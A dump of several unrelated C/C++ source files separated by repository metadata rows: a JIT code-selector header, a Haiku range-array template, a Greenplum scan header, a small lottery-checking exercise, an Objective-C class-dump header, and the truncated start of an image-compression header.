CG_OpndHandle *ldFieldAddr(Type*, CG_OpndHandle*, FieldDesc*);
CG_OpndHandle *ldStaticAddr(Type*, FieldDesc*);
CG_OpndHandle *tau_instanceOf(ObjectType*, CG_OpndHandle*, CG_OpndHandle*);
void initType(Type*);
CG_OpndHandle *newObj(ObjectType*);
CG_OpndHandle *newArray(ArrayType*, CG_OpndHandle*);
CG_OpndHandle *newMultiArray(ArrayType*, U_32, CG_OpndHandle**);
CG_OpndHandle *ldElemBaseAddr(CG_OpndHandle*);
CG_OpndHandle *addElemIndex(Type *, CG_OpndHandle *, CG_OpndHandle *);
CG_OpndHandle *tau_arrayLen(Type*, ArrayType*, Type*, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*);
//---------------------------------------------------------------------------//
// Monitors
//---------------------------------------------------------------------------//
void tau_monitorEnter(CG_OpndHandle*, CG_OpndHandle*);
void tau_monitorExit (CG_OpndHandle*, CG_OpndHandle*);
void typeMonitorEnter(NamedType*);
void typeMonitorExit (NamedType*);
CG_OpndHandle *tau_balancedMonitorEnter(CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*);
void balancedMonitorExit (CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*);
//---------------------------------------------------------------------------//
// Methods that are not used (but implemented)
//---------------------------------------------------------------------------//
CG_OpndHandle *tauPoint() { return opndManager->getTau(); }
CG_OpndHandle *tauEdge() { return opndManager->getTau(); }
CG_OpndHandle *tauUnsafe() { return opndManager->getTau(); }
CG_OpndHandle *tauSafe() { return opndManager->getTau(); }
CG_OpndHandle *tauAnd(U_32, CG_OpndHandle**) { return opndManager->getTau(); }
void opndMaybeGlobal(CG_OpndHandle* opnd) {}
void setCurrentPersistentId(PersistentInstructionId) {}
void clearCurrentPersistentId() {}
void setCurrentHIRInstBCOffset(uint16) {}
uint16 getCurrentHIRInstBCOffset() const {return 0xFFFF;}
//---------------------------------------------------------------------------//
// Methods that are not going to be implemented
//---------------------------------------------------------------------------//
CG_OpndHandle *mulhi(MulHiOp::Types, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("mulhi"); }
CG_OpndHandle *pred_czero (CompareZeroOp::Types, CG_OpndHandle*) { NOT_IMPLEMENTED_C("pred_czero") }
CG_OpndHandle *pred_cnzero(CompareZeroOp::Types, CG_OpndHandle*) { NOT_IMPLEMENTED_C("pred_cnzero") }
CG_OpndHandle *tau_checkDivOpnds(CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("tau_checkDivOpnds") }
CG_OpndHandle *ldFunAddr(Type*, MethodDesc*) { NOT_IMPLEMENTED_C("ldFunAddr") }
CG_OpndHandle *uncompressRef(CG_OpndHandle *compref) { NOT_IMPLEMENTED_C("uncompressRef") }
CG_OpndHandle *compressRef(CG_OpndHandle *ref) { NOT_IMPLEMENTED_C("compressRef") }
CG_OpndHandle *ldFieldOffset(FieldDesc*) { NOT_IMPLEMENTED_C("ldFieldOffset") }
CG_OpndHandle *ldFieldOffsetPlusHeapbase(FieldDesc*) { NOT_IMPLEMENTED_C("ldFieldOffsetPlusHeapbase") }
CG_OpndHandle *ldArrayBaseOffset(Type*) { NOT_IMPLEMENTED_C("ldArrayBaseOffset") }
CG_OpndHandle *ldArrayLenOffset(Type*) { NOT_IMPLEMENTED_C("ldArrayLenOffset") }
CG_OpndHandle *ldArrayBaseOffsetPlusHeapbase(Type*) { NOT_IMPLEMENTED_C("ldArrayBaseOffsetPlusHeapbase") }
CG_OpndHandle *ldArrayLenOffsetPlusHeapbase(Type*) { NOT_IMPLEMENTED_C("ldArrayLenOffsetPlusHeapbase") }
CG_OpndHandle *addOffset(Type*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("addOffset") }
CG_OpndHandle *ldElemAddr(CG_OpndHandle*,CG_OpndHandle*) { NOT_IMPLEMENTED_C("ldElemAddr") }
CG_OpndHandle *ldStatic(Type*, FieldDesc*, Type::Tag, bool) { NOT_IMPLEMENTED_C("ldStatic") }
CG_OpndHandle *ldVarAddr(U_32) { NOT_IMPLEMENTED_C("ldVarAddr") }
CG_OpndHandle *ldToken(Type*, MethodDesc*, U_32) { NOT_IMPLEMENTED_C("ldToken") }
CG_OpndHandle *tau_cast(ObjectType*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("tau_cast") }
CG_OpndHandle *tau_asType(ObjectType*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("tau_asType") }
CG_OpndHandle *box(ObjectType*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("box") }
CG_OpndHandle *unbox(Type*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("unbox") }
CG_OpndHandle *ldValueObj(Type*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("ldValueObj") }
CG_OpndHandle *tau_ckfinite(CG_OpndHandle*) { NOT_IMPLEMENTED_C("tau_ckfinite") }
CG_OpndHandle *callhelper(U_32, CG_OpndHandle**, Type*, JitHelperCallOp::Id) { NOT_IMPLEMENTED_C("callhelper") }
CG_OpndHandle *tau_callvirt(U_32, CG_OpndHandle**, Type*, MethodDesc*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("tau_callvirt") }
CG_OpndHandle *select(CompareOp::Types, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("select") }
CG_OpndHandle *cmp3(CompareOp::Operators,CompareOp::Types, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("cmp3") }
CG_OpndHandle *tau_optimisticBalancedMonitorEnter(CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("tau_optimisticBalancedMonitorEnter") }
CG_OpndHandle *addOffsetPlusHeapbase(Type*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("addOffsetPlusHeapbase") }
CG_OpndHandle *tau_ldField(Type*, CG_OpndHandle*, Type::Tag, FieldDesc*, bool, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("tau_ldField") }
CG_OpndHandle *tau_ldElem(Type*, CG_OpndHandle*, CG_OpndHandle*, bool, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("tau_ldElem") }
void incCounter(Type*, U_32) { NOT_IMPLEMENTED_V("incCounter") }
void incRecursionCount(CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_V("incRecursionCount") }
void monitorEnterFence(CG_OpndHandle*) { NOT_IMPLEMENTED_V("monitorEnterFence") }
void monitorExitFence(CG_OpndHandle*) { NOT_IMPLEMENTED_V("monitorExitFence") }
void stValueObj(CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_V("stValueObj") }
void initValueObj(Type*, CG_OpndHandle*) { NOT_IMPLEMENTED_V("initValueObj") }
void copyValueObj(Type*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_V("copyValueObj") }
void prefetch(CG_OpndHandle*) { NOT_IMPLEMENTED_V("prefetch") }
void jump() { NOT_IMPLEMENTED_V("jump") }
void throwLazyException(U_32, CG_OpndHandle**, MethodDesc*) { NOT_IMPLEMENTED_V("throwLazyException") }
void tau_stStatic(CG_OpndHandle*, FieldDesc*, Type::Tag, bool, CG_OpndHandle*) { NOT_IMPLEMENTED_V("tau_stStatic") }
void tau_stField(CG_OpndHandle*, CG_OpndHandle*, Type::Tag, FieldDesc*, bool, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_V("tau_stField") }
void tau_stElem(CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*, bool, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_V("tau_stElem") }
void optimisticBalancedMonitorExit(CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_V("optimisticBalancedMonitorExit") }
//---------------------------------------------------------------------------//
// TRANSITION
//---------------------------------------------------------------------------//
CG_OpndHandle* callvmhelper(U_32, CG_OpndHandle**, Type*
, VM_RT_SUPPORT) { NOT_IMPLEMENTED_C("unbox") }
CG_OpndHandle* convUPtrToObject(ObjectType*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("convUPtrToObject") }
CG_OpndHandle* convToUPtr(PtrType*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("convToUPtr") }
CG_OpndHandle *tau_ldIntfTableAddr(Type*, CG_OpndHandle*, NamedType*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("tau_ldIntfTableAddr"); }
CG_OpndHandle* tau_ldIntfTableAddr(Type*, CG_OpndHandle*, NamedType*);
CG_OpndHandle* addElemIndexWithLEA(Type*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_C("addElemIndexWithLEA") }
CG_OpndHandle* ldRef(Type*, MethodDesc*, unsigned int, bool);
void pseudoInst() {}
void methodEntry(MethodDesc*);
void methodEnd(MethodDesc*, CG_OpndHandle*);
void tau_stRef(CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*, Type::Tag, bool, CG_OpndHandle*, CG_OpndHandle*, CG_OpndHandle*) { NOT_IMPLEMENTED_V("tau_stRef") }
//---------------------------------------------------------------------------//
// convertors from HLO to IPF::CG types
//---------------------------------------------------------------------------//
static DataKind toDataKind(IntegerOp::Types type);
static DataKind toDataKind(Type::Tag tag);
static OpndKind toOpndKind(Type::Tag tag);
static DataKind toDataKind(NegOp::Types type);
static OpndKind toOpndKind(NegOp::Types type);
static DataKind toDataKind(ArithmeticOp::Types type);
static OpndKind toOpndKind(ArithmeticOp::Types type);
static DataKind toDataKind(RefArithmeticOp::Types type);
static DataKind toDataKind(ConvertToIntOp::Types type, bool isSigned);
static OpndKind toOpndKind(DivOp::Types type);
static DataKind toDataKind(DivOp::Types type);
static InstCode toInstCmp(CompareOp::Types type);
static InstCode toInstCmp(CompareZeroOp::Types type);
static Completer toCmpltCrel(CompareOp::Operators cmpOp, bool isFloating);
static Completer toCmpltSz(DataKind dataKind);
protected:
// Create new inst and add it in current node
void addInst(Inst* inst);
Inst& addNewInst(InstCode instCode_,
CG_OpndHandle *op1=NULL, CG_OpndHandle *op2=NULL, CG_OpndHandle *op3=NULL,
CG_OpndHandle *op4=NULL, CG_OpndHandle *op5=NULL, CG_OpndHandle *op6=NULL);
Inst& addNewInst(InstCode instCode_, Completer comp1,
CG_OpndHandle *op1=NULL, CG_OpndHandle *op2=NULL, CG_OpndHandle *op3=NULL,
CG_OpndHandle *op4=NULL, CG_OpndHandle *op5=NULL, CG_OpndHandle *op6=NULL);
Inst& addNewInst(InstCode instCode_, Completer comp1, Completer comp2,
CG_OpndHandle *op1=NULL, CG_OpndHandle *op2=NULL, CG_OpndHandle *op3=NULL,
CG_OpndHandle *op4=NULL, CG_OpndHandle *op5=NULL, CG_OpndHandle *op6=NULL);
Inst& addNewInst(InstCode instCode_, Completer comp1, Completer comp2, Completer comp3,
CG_OpndHandle *op1=NULL, CG_OpndHandle *op2=NULL, CG_OpndHandle *op3=NULL,
CG_OpndHandle *op4=NULL, CG_OpndHandle *op5=NULL, CG_OpndHandle *op6=NULL);
// CG helper methods
void directCall(U_32, Opnd**, RegOpnd*, Opnd*, RegOpnd*, Completer=CMPLT_WH_SPTK);
void indirectCall(U_32, Opnd**, RegOpnd*, RegOpnd*, RegOpnd*, Completer=CMPLT_WH_SPTK);
void makeCallArgs(U_32, Opnd**, Inst*, RegOpnd*);
RegOpnd *makeConvOpnd(RegOpnd*);
void makeRetVal(RegOpnd*, RegOpnd*, RegOpnd*);
void add(RegOpnd*, CG_OpndHandle*, CG_OpndHandle*);
void sub(RegOpnd*, CG_OpndHandle*, CG_OpndHandle*);
void cmp(InstCode, Completer, RegOpnd*, RegOpnd*, CG_OpndHandle*, CG_OpndHandle*);
void cmp(Completer, RegOpnd*, RegOpnd*, CG_OpndHandle*, CG_OpndHandle*);
void binOp(InstCode, RegOpnd*, CG_OpndHandle*, CG_OpndHandle*);
void shift(InstCode, RegOpnd*, CG_OpndHandle*, CG_OpndHandle*, int);
void minMax(RegOpnd*, CG_OpndHandle*, CG_OpndHandle*, bool);
void xma(InstCode, RegOpnd*, CG_OpndHandle*, CG_OpndHandle*);
void saturatingConv4(RegOpnd*, CG_OpndHandle*);
void saturatingConv8(RegOpnd*, CG_OpndHandle*);
void divDouble(RegOpnd*, CG_OpndHandle*, CG_OpndHandle*, bool rem = false);
void divFloat(RegOpnd*, CG_OpndHandle*, CG_OpndHandle*, bool rem = false);
void divInt(RegOpnd*, CG_OpndHandle*, CG_OpndHandle*, bool rem = false);
void divLong(RegOpnd*, CG_OpndHandle*, CG_OpndHandle*, bool rem = false);
void ldc(RegOpnd*, int64 val);
void sxt(CG_OpndHandle *src_, int16 refSize, Completer srcSize = CMPLT_INVALID);
void zxt(CG_OpndHandle *src_, int16 refSize, Completer srcSize = CMPLT_INVALID);
RegOpnd *toRegOpnd(CG_OpndHandle*);
void ipfBreakCounted(int);
void ipfBreakCounted(RegOpnd*, Completer, int);
void ipfBreakCounted(RegOpnd*);
MemoryManager &mm;
Cfg &cfg;
BbNode &node;
OpndVector &opnds;
CompilationInterface &compilationInterface;
OpndManager *opndManager;
RegOpnd *p0;
};
} //namespace IPF
} //namespace Jitrino
#endif // _IPF_CODE_SELECTOR_H_
| 59.497487 | 176 | 0.604688 |
72ee3ef5ea3f7646c131c3042ae0a8377c70b95e | 7,301 | h | C | headers/private/shared/RangeArray.h | Kirishikesan/haiku | 835565c55830f2dab01e6e332cc7e2d9c015b51e | [
"MIT"
] | 1,338 | 2015-01-03T20:06:56.000Z | 2022-03-26T13:49:54.000Z | headers/private/shared/RangeArray.h | Kirishikesan/haiku | 835565c55830f2dab01e6e332cc7e2d9c015b51e | [
"MIT"
] | 15 | 2015-01-17T22:19:32.000Z | 2021-12-20T12:35:00.000Z | headers/private/shared/RangeArray.h | Kirishikesan/haiku | 835565c55830f2dab01e6e332cc7e2d9c015b51e | [
"MIT"
] | 350 | 2015-01-08T14:15:27.000Z | 2022-03-21T18:14:35.000Z | /*
* Copyright 2011, Ingo Weinhold, ingo_weinhold@gmx.de.
* Distributed under the terms of the MIT License.
*/
#ifndef _RANGE_ARRAY_H
#define _RANGE_ARRAY_H
#include <algorithm>
#include <Array.h>
namespace BPrivate {
template<typename Value>
struct Range {
Value offset;
Value size;
Range(const Value& offset, const Value& size)
:
offset(offset),
size(size)
{
}
Value EndOffset() const
{
return offset + size;
}
};
template<typename Value>
class RangeArray {
public:
typedef Range<Value> RangeType;
public:
inline RangeArray();
inline RangeArray(const RangeArray<Value>& other);
inline int32 CountRanges() const
{ return fRanges.Count(); }
inline bool IsEmpty() const
{ return fRanges.IsEmpty(); }
inline const RangeType* Ranges() const
{ return fRanges.Elements(); }
inline bool AddRange(const RangeType& range);
bool AddRange(const Value& offset,
const Value& size);
inline bool RemoveRange(const RangeType& range);
bool RemoveRange(const Value& offset,
const Value& size);
inline bool RemoveRanges(int32 index, int32 count = 1);
inline void Clear() { fRanges.Clear(); }
inline void MakeEmpty() { fRanges.MakeEmpty(); }
inline bool IntersectsWith(const RangeType& range) const;
bool IntersectsWith(const Value& offset,
const Value& size) const;
int32 InsertionIndex(const Value& offset) const;
inline const RangeType& RangeAt(int32 index) const
{ return fRanges.ElementAt(index); }
inline const RangeType& operator[](int32 index) const
{ return fRanges[index]; }
inline RangeArray<Value>& operator=(const RangeArray<Value>& other);
private:
inline RangeType& _RangeAt(int32 index)
{ return fRanges.ElementAt(index); }
private:
Array<RangeType> fRanges;
};
template<typename Value>
inline
RangeArray<Value>::RangeArray()
{
}
template<typename Value>
inline
RangeArray<Value>::RangeArray(const RangeArray<Value>& other)
:
fRanges(other.fRanges)
{
}
template<typename Value>
inline bool
RangeArray<Value>::AddRange(const RangeType& range)
{
return AddRange(range.offset, range.size);
}
/*! Adds the range starting at \a offset with size \a size.
The range is automatically joined with ranges it adjoins or overlaps with.
\return \c true, if the range was added successfully, \c false, if a memory
allocation failed.
*/
template<typename Value>
bool
RangeArray<Value>::AddRange(const Value& offset, const Value& size)
{
if (size == 0)
return true;
int32 index = InsertionIndex(offset);
// determine the last range the range intersects with/adjoins
Value endOffset = offset + size;
int32 endIndex = index;
// index after the last affected range
int32 count = CountRanges();
while (endIndex < count && RangeAt(endIndex).offset <= endOffset)
endIndex++;
// determine whether the range adjoins the previous range
if (index > 0 && offset == RangeAt(index - 1).EndOffset())
index--;
if (index == endIndex) {
// no joining possible -- just insert the new range
return fRanges.Insert(RangeType(offset, size), index);
}
// Joining is possible. We'll adjust the first affected range and remove the
// others (if any).
endOffset = std::max(endOffset, RangeAt(endIndex - 1).EndOffset());
RangeType& firstRange = _RangeAt(index);
firstRange.offset = std::min(firstRange.offset, offset);
firstRange.size = endOffset - firstRange.offset;
if (index + 1 < endIndex)
RemoveRanges(index + 1, endIndex - index - 1);
return true;
}
template<typename Value>
inline bool
RangeArray<Value>::RemoveRange(const RangeType& range)
{
return RemoveRange(range.offset, range.size);
}
/*! Removes the range starting at \a offset with size \a size.
Ranges that are completely covered by the given range are removed. Ranges
that partially intersect with it are cut accordingly.
If a range is split into two ranges by the operation, a memory allocation
might be necessary and the method can fail, if the memory allocation fails.
\return \c true, if the range was removed successfully, \c false, if a
memory allocation failed.
*/
template<typename Value>
bool
RangeArray<Value>::RemoveRange(const Value& offset, const Value& size)
{
if (size == 0)
return true;
int32 index = InsertionIndex(offset);
// determine the last range the range intersects with
Value endOffset = offset + size;
int32 endIndex = index;
// index after the last affected range
int32 count = CountRanges();
while (endIndex < count && RangeAt(endIndex).offset < endOffset)
endIndex++;
if (index == endIndex) {
// the given range doesn't intersect with any exiting range
return true;
}
// determine what ranges to remove completely
RangeType& firstRange = _RangeAt(index);
RangeType& lastRange = _RangeAt(endIndex - 1);
int32 firstRemoveIndex = firstRange.offset >= offset ? index : index + 1;
int32 endRemoveIndex = lastRange.EndOffset() <= endOffset
? endIndex : endIndex - 1;
if (firstRemoveIndex > endRemoveIndex) {
// The range lies in the middle of an existing range. We need to split.
RangeType newRange(endOffset, firstRange.EndOffset() - endOffset);
if (!fRanges.Insert(newRange, index + 1))
return false;
firstRange.size = offset - firstRange.offset;
return true;
}
// cut first and last range
if (index < firstRemoveIndex)
firstRange.size = offset - firstRange.offset;
if (endOffset > endRemoveIndex) {
lastRange.size = lastRange.EndOffset() - endOffset;
lastRange.offset = endOffset;
}
// remove ranges
if (firstRemoveIndex < endRemoveIndex)
RemoveRanges(firstRemoveIndex, endRemoveIndex - firstRemoveIndex);
return true;
}
template<typename Value>
inline bool
RangeArray<Value>::RemoveRanges(int32 index, int32 count)
{
return fRanges.Remove(index, count);
}
template<typename Value>
inline bool
RangeArray<Value>::IntersectsWith(const RangeType& range) const
{
return IntersectsWith(range.offset, range.size);
}
template<typename Value>
bool
RangeArray<Value>::IntersectsWith(const Value& offset, const Value& size) const
{
int32 index = InsertionIndex(offset);
return index < CountRanges() && RangeAt(index).offset < offset + size;
}
/*! Returns the insertion index of a range starting at \a offset.
If the array contains a range that starts at, includes (but doesn't end at)
\a offset, the index of that range is returned. If \a offset lies in between
two ranges or before the first range, the index of the range following
\a offset is returned. Otherwise \c CountRanges() is returned.
\return The insertion index for a range starting at \a offset.
*/
template<typename Value>
int32
RangeArray<Value>::InsertionIndex(const Value& offset) const
{
// binary search the index
int32 lower = 0;
int32 upper = CountRanges();
while (lower < upper) {
int32 mid = (lower + upper) / 2;
const RangeType& range = RangeAt(mid);
if (offset >= range.EndOffset())
lower = mid + 1;
else
upper = mid;
}
return lower;
}
template<typename Value>
inline RangeArray<Value>&
RangeArray<Value>::operator=(const RangeArray<Value>& other)
{
fRanges = other.fRanges;
return *this;
}
} // namespace BPrivate
using BPrivate::Range;
using BPrivate::RangeArray;
#endif // _RANGE_ARRAY_H
| 23.937705 | 79 | 0.717299 |
f41ae5d34c9004a102d8b3bf6d9ce296e45bb248 | 853 | h | C | src/include/executor/execDynamicScan.h | fanfuxiaoran/gpdb | 84e73a9eb2d4a7aff8ab66c0ee76e47b51676be6 | [
"PostgreSQL",
"Apache-2.0"
] | null | null | null | src/include/executor/execDynamicScan.h | fanfuxiaoran/gpdb | 84e73a9eb2d4a7aff8ab66c0ee76e47b51676be6 | [
"PostgreSQL",
"Apache-2.0"
] | null | null | null | src/include/executor/execDynamicScan.h | fanfuxiaoran/gpdb | 84e73a9eb2d4a7aff8ab66c0ee76e47b51676be6 | [
"PostgreSQL",
"Apache-2.0"
] | null | null | null | /*--------------------------------------------------------------------------
*
* execDynamicScan.h
* Definitions and API functions for execDynamicScan.c
*
* Copyright (c) 2014-Present VMware, Inc. or its affiliates.
*
*
* IDENTIFICATION
* src/include/executor/execDynamicScan.h
*
*--------------------------------------------------------------------------
*/
#ifndef EXECDYNAMICSCAN_H
#define EXECDYNAMICSCAN_H
#include "access/attnum.h"
#include "nodes/execnodes.h"
extern bool isDynamicScan(const Plan *p);
extern int DynamicScan_GetDynamicScanIdPrintable(Plan *plan);
extern Oid DynamicScan_GetTableOid(ScanState *scanState);
extern void DynamicScan_SetTableOid(ScanState *scanState, Oid curRelOid);
extern bool DynamicScan_RemapExpression(ScanState *scanState, AttrNumber *attMap, Node *expr);
#endif /* EXECDYNAMICSCAN_H */
| 29.413793 | 94 | 0.636577 |
3cbb918a37fb91946a8d15a50cae85461aa7b8f2 | 765 | c | C | Vetores/q16.c | EduFreit4s/Algoritmos-e-Logica | 0f7d907f3cdcf31dd51fc26dca78e5ddbfd0f3e2 | [
"MIT"
] | 1 | 2019-10-18T23:59:38.000Z | 2019-10-18T23:59:38.000Z | Vetores/q16.c | EduFreit4s/Algoritmos-e-Logica | 0f7d907f3cdcf31dd51fc26dca78e5ddbfd0f3e2 | [
"MIT"
] | null | null | null | Vetores/q16.c | EduFreit4s/Algoritmos-e-Logica | 0f7d907f3cdcf31dd51fc26dca78e5ddbfd0f3e2 | [
"MIT"
] | null | null | null | /*
Ler um vetor A de 6 elementos contendo o gabarito da Mega Sena. A seguir, ler um vetor B de 10
elementos contendo uma aposta. Escrever quantos pontos fez o apostador.
*/
#include <stdio.h>
#include <stdlib.h>
int main(){
int mega[6], aposta[10], i, k, sorte=0;
printf("Digite os numeros sorteados: ");
for(i=0; i < 6; i++){
scanf("%d", &mega[i]);
}
printf("Digite os numeros da sua aposta: ");
for(i=0; i < 10; i++){
scanf("%d", &aposta[i]);
}
for(i=0; i < 6; i++){
for(k=0; k < 10; k++){
if(aposta[k] == mega[i]){
sorte++;
}
}
}
printf("\nVoce fez %d ponto(s)", sorte);
printf("\n\n");
return 0;
} | 21.857143 | 95 | 0.48366 |
4cbeb483d00337de3c2f253deefe1474448bdf61 | 657 | h | C | Stable/EOS.framework/Headers/TabItemM.h | HydraFramework/release-ios | 5707faa4909c82d1fc3d24d12d7614df0b3d7935 | [
"MIT"
] | null | null | null | Stable/EOS.framework/Headers/TabItemM.h | HydraFramework/release-ios | 5707faa4909c82d1fc3d24d12d7614df0b3d7935 | [
"MIT"
] | null | null | null | Stable/EOS.framework/Headers/TabItemM.h | HydraFramework/release-ios | 5707faa4909c82d1fc3d24d12d7614df0b3d7935 | [
"MIT"
] | null | null | null | //
// TabItemM.h
// EOSClient2
//
// Created by Chang Sam on 11/4/11.
// Copyright (c) 2011 __MyCompanyName__. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface TabItemM : NSObject <NSCopying>
@property (nonatomic, strong) NSString *label;
@property (nonatomic, strong) NSString *image;
@property (nonatomic, strong) NSString *page;
@property (nonatomic, strong) NSString *appId;
@property (nonatomic, strong) NSObject *onclick;
@property (nonatomic, strong) NSString *package;
@property (nonatomic, strong) NSString *name;
@property (nonatomic, strong) NSString *badge;
@property (nonatomic, strong) NSDictionary *itemDic;
@end
| 26.28 | 62 | 0.741248 |
5d8844c4f773f0b55c21b5e44835f48b61f900ca | 241 | h | C | app/src/main/c/bluez-5.60/obexd/client/sync.h | IllusionMan1212/ShockPair | 0ad1fbd7edfcbf51e4b677d10ab3e137efec0b88 | [
"MIT"
] | 1 | 2021-07-12T00:34:11.000Z | 2021-07-12T00:34:11.000Z | app/src/main/c/bluez-5.60/obexd/client/sync.h | IllusionMan1212/ShockPair | 0ad1fbd7edfcbf51e4b677d10ab3e137efec0b88 | [
"MIT"
] | null | null | null | app/src/main/c/bluez-5.60/obexd/client/sync.h | IllusionMan1212/ShockPair | 0ad1fbd7edfcbf51e4b677d10ab3e137efec0b88 | [
"MIT"
] | null | null | null | /* SPDX-License-Identifier: GPL-2.0-or-later */
/*
*
* OBEX Client
*
* Copyright (C) 2007-2010 Intel Corporation
* Copyright (C) 2007-2010 Marcel Holtmann <marcel@holtmann.org>
*
*
*/
int sync_init(void);
void sync_exit(void);
| 17.214286 | 66 | 0.659751 |
34b2d90aa188767a0649887dc6fca8049ae7d4fa | 764 | h | C | OrbitCore/LinuxCallstackEvent.h | karupayun/orbit | 12e12f3125588c0318c2a3788a69f8b706cd1bdc | [
"BSD-2-Clause"
] | null | null | null | OrbitCore/LinuxCallstackEvent.h | karupayun/orbit | 12e12f3125588c0318c2a3788a69f8b706cd1bdc | [
"BSD-2-Clause"
] | null | null | null | OrbitCore/LinuxCallstackEvent.h | karupayun/orbit | 12e12f3125588c0318c2a3788a69f8b706cd1bdc | [
"BSD-2-Clause"
] | null | null | null | // Copyright (c) 2020 The Orbit Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//-----------------------------------
// Author: Florian Kuebler
//-----------------------------------
#pragma once
#include <string>
#include <utility>
#include "Callstack.h"
#include "Serialization.h"
#include "SerializationMacros.h"
struct LinuxCallstackEvent {
LinuxCallstackEvent() = default;
LinuxCallstackEvent(uint64_t time, CallStack callstack)
: time_{time}, callstack_{std::move(callstack)} {}
uint64_t time_ = 0;
CallStack callstack_;
ORBIT_SERIALIZABLE;
};
ORBIT_SERIALIZE(LinuxCallstackEvent, 1) {
ORBIT_NVP_VAL(1, time_);
ORBIT_NVP_VAL(1, callstack_);
}
| 22.470588 | 73 | 0.66623 |
7121fe353971393fea9726ea86287fb651e67db7 | 1,084 | h | C | PrivateFrameworks/NeutrinoKit/NUViewport.h | phatblat/macOSPrivateFrameworks | 9047371eb80f925642c8a7c4f1e00095aec66044 | [
"MIT"
] | 17 | 2018-11-13T04:02:58.000Z | 2022-01-20T09:27:13.000Z | PrivateFrameworks/NeutrinoKit/NUViewport.h | phatblat/macOSPrivateFrameworks | 9047371eb80f925642c8a7c4f1e00095aec66044 | [
"MIT"
] | 3 | 2018-04-06T02:02:27.000Z | 2018-10-02T01:12:10.000Z | PrivateFrameworks/NeutrinoKit/NUViewport.h | phatblat/macOSPrivateFrameworks | 9047371eb80f925642c8a7c4f1e00095aec66044 | [
"MIT"
] | 1 | 2018-09-28T13:54:23.000Z | 2018-09-28T13:54:23.000Z | //
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#import "NSObject.h"
#import "NSCopying.h"
@interface NUViewport : NSObject <NSCopying>
{
double _backingScaleFactor;
struct CGSize _size;
struct CGPoint _position;
struct CGPoint _anchorPoint;
}
@property(nonatomic) struct CGPoint anchorPoint; // @synthesize anchorPoint=_anchorPoint;
@property(nonatomic) struct CGPoint position; // @synthesize position=_position;
@property(readonly, nonatomic) double backingScaleFactor; // @synthesize backingScaleFactor=_backingScaleFactor;
@property(readonly, nonatomic) struct CGSize size; // @synthesize size=_size;
@property(readonly, nonatomic) struct CGPoint backingPosition; // @dynamic backingPosition;
@property(readonly, nonatomic) struct CGSize backingSize; // @dynamic backingSize;
- (id)copyWithZone:(struct _NSZone *)arg1;
- (id)description;
- (id)initWithSize:(struct CGSize)arg1 backingScaleFactor:(double)arg2;
- (id)initWithSize:(struct CGSize)arg1;
- (id)init;
@end
| 32.848485 | 112 | 0.754613 |
5e5675feaf14660511cbaff77ef38c448923de18 | 2,735 | h | C | test/wcet_tests/tacle-bench/sequential/epic/epic.h | timed-c/kta | 0d12216963095a7a13fea6d07076755dd010851b | [
"MIT"
] | 5 | 2017-08-07T12:53:16.000Z | 2021-07-29T02:40:19.000Z | test/wcet_tests/tacle-bench/sequential/epic/epic.h | timed-c/kta | 0d12216963095a7a13fea6d07076755dd010851b | [
"MIT"
] | null | null | null | test/wcet_tests/tacle-bench/sequential/epic/epic.h | timed-c/kta | 0d12216963095a7a13fea6d07076755dd010851b | [
"MIT"
] | 2 | 2017-08-07T12:53:20.000Z | 2018-06-15T15:28:45.000Z | #ifndef __EPIC_H_
#define __EPIC_H_
#define EPIC_VERSION 1.1
/* ============= FUNDAMENTAL LIMITATIONS ============= */
/* Maximum x- or y-size of image */
#define MAX_IMAGE_DIM 16384
/* Maximum number of pyramid levels (value 3*levs+1 stored in 5 bits).
This doesn't need to be larger than log2(MAX_IMAGE_DIM/FILTER_SIZE). */
#define MAX_LEVELS 10
/* Maximum number of quantization bins. This essentially determines
the maximum depth image to be represented. */
#define MAX_BINS 511
/* ============= SECONDARY (derived) LIMITATIONS ============= */
/* This number determines the precision of the stored binsizes:
stored coefficients are accurate to +/- (1/SCALE_FACTOR).
On the other hand, this number also will limit the maximum amount
of compression.
It should not be more than [2^(8*sizeof(BinValueType))]/256. */
#define SCALE_FACTOR 128
/* This number must be consistent with the filters that are
hardwired into epic.c */
#define FILTER_SIZE 15
/* Log (base 2) of MAX_IMAGE_DIM^2: (bits required to store the dimensions) */
#define LOG_MAX_IMAGE_SIZE 32
/* The type of the quantized images. Must be SIGNED, and capable of holding
